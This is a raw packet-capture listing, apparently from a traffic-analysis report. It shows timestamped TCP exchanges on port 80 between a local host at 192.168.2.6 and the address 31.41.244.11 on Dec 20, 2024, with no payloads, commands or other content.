Dec 20, 2024 21:13:15.609450102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.609595060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.609644890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.610232115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.610275984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.610408068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.610446930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.611162901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.611205101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.611332893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.611391068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.611948013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.611999035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.612129927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.612171888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.613010883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.613061905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.613198996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.613245964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.613915920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.613957882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.614094973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.614144087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.614717960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.614770889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.614897013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.614938974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.615473032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.615520954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.615643978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.615689993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.616430998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.616487026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.763021946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.763076067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.763093948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.763135910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.763531923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.763591051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.763602972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.763650894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.764286995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.764338970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.764342070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.764383078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.765126944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.765170097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.765207052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.765247107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.766012907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.766057014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.766092062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.766130924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.767002106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.767019033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.767051935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.767071009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.767724037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.767771006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.767865896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.767915010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.768697023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.768713951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.768748999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.768774033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.769455910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.769512892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.770025969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.770078897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.770373106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.770399094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.770421982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.770436049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.771219015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.771279097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.771349907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.771404028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.772103071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.772166014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.772248983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.772309065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.772998095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.773056030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.773139000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.773180008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.773782969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.773828983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.774003983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.774048090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.774708033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.774763107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.774777889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.774826050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.775652885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.775670052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.775698900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.775713921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.776427031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.776468039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.776552916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.776592016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.777296066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.777340889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.777359962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.777411938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.778228998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.778271914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.778287888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.778327942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.779033899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.779073000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.779117107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.779158115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.779890060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.779943943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.779984951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.780033112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.780848026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.780864000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.780893087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.780909061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.781727076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.781764030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.781789064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.781841993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.782466888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.782515049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.782557964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.782603979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.783375978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.783417940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.783615112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.783658981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.784209967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.784255028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.784375906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.784419060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.785108089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.785157919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.785381079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.785423994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.785959959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.786003113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.786081076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.786128044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.786837101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.786880016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.786952019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.786997080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.787741899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.787808895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.787847042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.787889957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.788589001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.788636923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.788717031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.788762093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.789688110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.789704084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.789731026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.789751053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.790380001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.790440083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.790441990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.790487051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.791218042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.791259050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.791404963 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.791446924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.792215109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.792231083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.792256117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.792340040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.792929888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.792984962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.793021917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.793065071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.793926001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.793941975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.793977976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.793998957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.794708014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.794751883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.794765949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.794800997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.795588970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.795649052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.795685053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.795730114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.796406984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.796449900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.796631098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.796677113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.797276020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.797319889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.797389030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.797434092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.798194885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.798248053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.798410892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.798460960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.799114943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.799130917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.799160957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.799180984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.799904108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.799962997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.800004005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.800122976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.800786018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.800833941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.800872087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.800921917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.801707983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.801754951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.801810980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.801856995 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.802515984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.802560091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.802619934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.802725077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.803519964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.803535938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.803567886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.803596020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.804320097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.804364920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.804471016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.804512024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.805263996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.805314064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.805392981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.805435896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.806091070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.806134939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.806139946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.806173086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.806981087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.807023048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.807049990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.807090044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.807845116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.807887077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.808044910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.808095932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.808621883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.808675051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.955070019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.955151081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.955152988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.955203056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.955495119 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.955543041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.955658913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.955703020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.956444979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.956461906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.956491947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.956517935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.957155943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.957202911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.957321882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.957362890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.958065033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.958113909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.958161116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.958201885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.958981991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.959028006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.959104061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.959146976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.959829092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.959877968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.959917068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.959966898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.960679054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.960725069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.960768938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.960819960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.961543083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.961589098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.961622000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.961675882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.962410927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.962460041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.962567091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.962610960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.963283062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.963332891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.963350058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.963392019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.964143991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.964188099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.964253902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.964292049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.965068102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.965105057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.965121031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.965161085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.965871096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.965926886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.965961933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.966002941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.966738939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.966784954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.966847897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.966887951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.967619896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.967663050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.967729092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.967776060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.968522072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.968573093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.968601942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.968642950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.969376087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.969413996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.969446898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.969486952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.970268965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.970325947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.970352888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.970407963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.971107960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.971162081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.971256018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.971295118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.971967936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.972009897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.972096920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.972136974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.972809076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.972851992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.973030090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.973074913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.973716974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.973769903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.973798990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.973843098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.974555969 CET	80	49849	31.41.244.11	192.168.2.6
